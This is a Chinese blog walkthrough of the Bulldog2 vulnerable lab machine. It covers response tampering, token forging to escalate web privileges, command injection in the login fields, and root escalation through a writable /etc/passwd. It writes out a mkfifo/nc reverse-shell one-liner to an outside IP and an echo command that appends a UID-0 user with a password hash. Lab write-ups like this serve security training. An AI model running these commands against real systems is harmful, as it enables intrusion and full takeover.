靶机测试--bulldog2【逻辑漏洞】

信息收集

主机发现

在这里插入图片描述

端口扫描

在这里插入图片描述

目录扫描

在这里插入图片描述

漏洞发掘

访问主页:
在这里插入图片描述
首先,下方有两个连接;

左边的可以查看其他用户的信息:
在这里插入图片描述
在这里插入图片描述
右边跳转至注册页面,但是注册关闭:
在这里插入图片描述
还有一个登录页面:
在这里插入图片描述
可以尝试弱口令,注入,暴力破解,枚举等。

随便填写一个,进行抓包:
在这里插入图片描述
返回的验证为false,将其修改为true,若成功登录,说明存在逻辑漏洞。

结果失败。

下载前端js代码:
在这里插入图片描述
进行格式化,搜索关键信息:

在这里插入图片描述

找到上图所示代码段,根据登录的数据包格式,猜测可能是注册数据包的信息格式。

构造数据包:
在这里插入图片描述

注册用户成功,登录:
在这里插入图片描述

抓取能正常登录的数据包:
在这里插入图片描述
在响应包中存在token值,以及"auth_level":"standard_user",猜测可能与权限有关,可能存在越权。

对token值进行解析:
在这里插入图片描述
token值中包含了个人信息以及权限信息,尝试修改token值,获取更高权限,完成越权。

在js前端代码中,搜索关键信息auth_level:
在这里插入图片描述
修改token值:
在这里插入图片描述
获取此响应的回包,并进行修改:
在这里插入图片描述
登录成功,并获得更高权限:
在这里插入图片描述
在此页面又存在一个登陆点:
在这里插入图片描述

使用注册的用户进行登录,返回的却是错误的信息:
在这里插入图片描述
拦截响应包,修改验证值:
在这里插入图片描述
登录成功:
在这里插入图片描述

提权

根据源码,username和password可以被当做命令执行,以此来反弹shell:
在这里插入图片描述

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.133.149 7777 >/tmp/f;

使用sudo -l:
在这里插入图片描述

使用find查看当前用户具有suid权限的文件:
在这里插入图片描述
没有可以利用的点。

使用find查看可以写入的权限:

find / -perm -o=w -type f 2>/dev/null

在这里插入图片描述
查看/etc/passwd的权限:
在这里插入图片描述
权限为777,写入一个具有root权限的用户,使用su切换用户,完成提权:

root:x:0:0:root:/root:/bin/bash

每一部分分别为:

注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序

添加用户:

密码进行加密处理:
在这里插入图片描述

test:aaAN1ZUwjW7to:0:0:test:/root:/bin/bash

写入/etc/passwd:

echo "test:aaAN1ZUwjW7to:0:0:test:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
切换用户:
在这里插入图片描述
尝试脏牛提权:
在这里插入图片描述
没有安装gcc

总结

在逻辑漏洞中,根据响应信息判断验证信息,尝试修改验证信息,进行操作。

通过查看前端代码,找到对应的数据包构造格式。

对于前端验证,可以拦截并修改响应包。

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/115277228